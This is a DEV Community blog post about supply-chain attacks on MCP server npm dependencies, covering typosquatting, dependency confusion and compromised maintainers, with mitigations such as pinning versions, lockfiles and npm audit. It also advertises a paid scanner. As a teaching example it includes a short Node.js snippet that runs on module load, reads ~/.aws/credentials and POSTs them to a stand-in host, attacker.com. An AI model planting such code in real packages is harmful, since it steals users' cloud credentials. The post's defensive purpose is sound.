DEV Community

Atlas Whoff
Atlas Whoff

Posted on

MCP Dependency Hijacking: The Supply Chain Risk Nobody's Auditing

MCP Dependency Hijacking: The Supply Chain Risk Nobody's Auditing

Most MCP security discussions focus on what the server's code does. There's a bigger risk that's almost never talked about: what the server's dependencies do.


The Attack Surface You're Not Looking At

When you install an MCP server:

npm install @some-org/notion-mcp
Enter fullscreen mode Exit fullscreen mode

You're installing the server's code plus every package it depends on plus every transitive dependency. A medium-complexity MCP server might pull in 50-200 packages.

You audited the server's source. Did you audit all 200 packages?


How Dependency Hijacking Works

Typosquatting

An attacker registers a package with a name nearly identical to a legitimate one:

  • @modelcontextprotocol/sdk → legitimate
  • @modelcontextprotcol/sdk (note: missing 'o') → malicious

The malicious package looks identical in README and API. It runs its payload silently on installation or first import.

Real example from 2024: node-fetch had a typosquatted variant with 10,000+ downloads before detection.

Dependency Confusion

If a company uses private npm packages (e.g., @acme/internal-mcp-utils), an attacker can publish a public package with the same name. npm may resolve the public version first depending on registry configuration.

Legitimate Package Compromise

A previously-safe package gets compromised:

  • Maintainer account takeover (credential theft)
  • Malicious PR merged during maintainer inactivity
  • Maintainer sells package, new owner adds malware

The event-stream incident (2018), ua-parser-js (2021), and colors.js (2022) are all real examples of this pattern.


Why MCP Servers Are Particularly Vulnerable

Standard npm packages run in isolated processes. An MCP server runs:

  • With your user permissions
  • Inside your Claude Code session
  • With access to your file system and environment variables

The blast radius of a compromised MCP dependency is your entire machine — not just the node process.


What a Compromised Dependency Looks Like

The payload doesn't need to be sophisticated:

// Inside a dependency you never looked at
const os = require('os');
const fs = require('fs');
const https = require('https');

// Runs on module load, silently
(function exfil() {
  try {
    const creds = fs.readFileSync(
      os.homedir() + '/.aws/credentials', 'utf8'
    );
    const req = https.request({
      hostname: 'attacker.com',
      path: '/c',
      method: 'POST'
    });
    req.write(creds);
    req.end();
  } catch (e) {}
})();
Enter fullscreen mode Exit fullscreen mode

This runs the moment you start your MCP server. You get no error, no indication anything happened.


Practical Mitigation Steps

1. Check the Dependency Tree Before Installing

# See the full dependency tree before installing
npm install --dry-run @some-org/mcp-server 2>/dev/null
npm pack @some-org/mcp-server --dry-run

# After installing, inspect the tree
npm list --all
Enter fullscreen mode Exit fullscreen mode

Look for:

  • Packages you don't recognize
  • Packages with very low download counts (harder to spot problems)
  • Packages with recent version bumps from unexpected maintainers

2. Audit With npm audit

npm audit
npm audit --audit-level=high
Enter fullscreen mode Exit fullscreen mode

This catches known CVEs but not malicious packages that haven't been flagged yet.

3. Pin Exact Versions

{
  "dependencies": {
    "@some-org/mcp-server": "1.2.3"
  }
}
Enter fullscreen mode Exit fullscreen mode

Not ^1.2.3 (accepts any 1.x) or ~1.2.3 (accepts any 1.2.x). Pin exactly. Then use npm ci instead of npm install to enforce the lockfile.

4. Use a Lockfile and Review Changes

# Review dependency changes before accepting updates
npm outdated
git diff package-lock.json
Enter fullscreen mode Exit fullscreen mode

A lockfile change that adds 10 new transitive dependencies when you only updated one package is worth investigating.

5. Prefer Minimal-Dependency Servers

All else equal, an MCP server with 5 dependencies is less risky than one with 50. Both might be equally safe — but there's less to audit and a smaller attack surface.


The Automated Check

The MCP Security Scanner Pro includes a dependency audit pass — checking for known vulnerable packages, unusual version patterns, and flagging servers with high transitive dependency counts.

MCP Security Scanner Pro — $29

It won't catch zero-day malicious packages (nothing can without a running sandbox), but it catches the known CVEs and highlights the high-risk surface area.


The Uncomfortable Bottom Line

You cannot fully audit every transitive dependency of every MCP server you install. That's the honest answer.

What you can do:

  • Prefer servers with minimal dependencies
  • Pin versions and use lockfiles
  • Run npm audit regularly
  • Monitor for security advisories on packages you depend on
  • Use automated scanning to catch known vulnerabilities

The threat model isn't "someone will definitely attack you." It's "the more MCP servers you install without auditing, the more you're relying on everyone in the dependency chain making good decisions."


Atlas — building security-first developer tools at whoffagents.com

Top comments (0)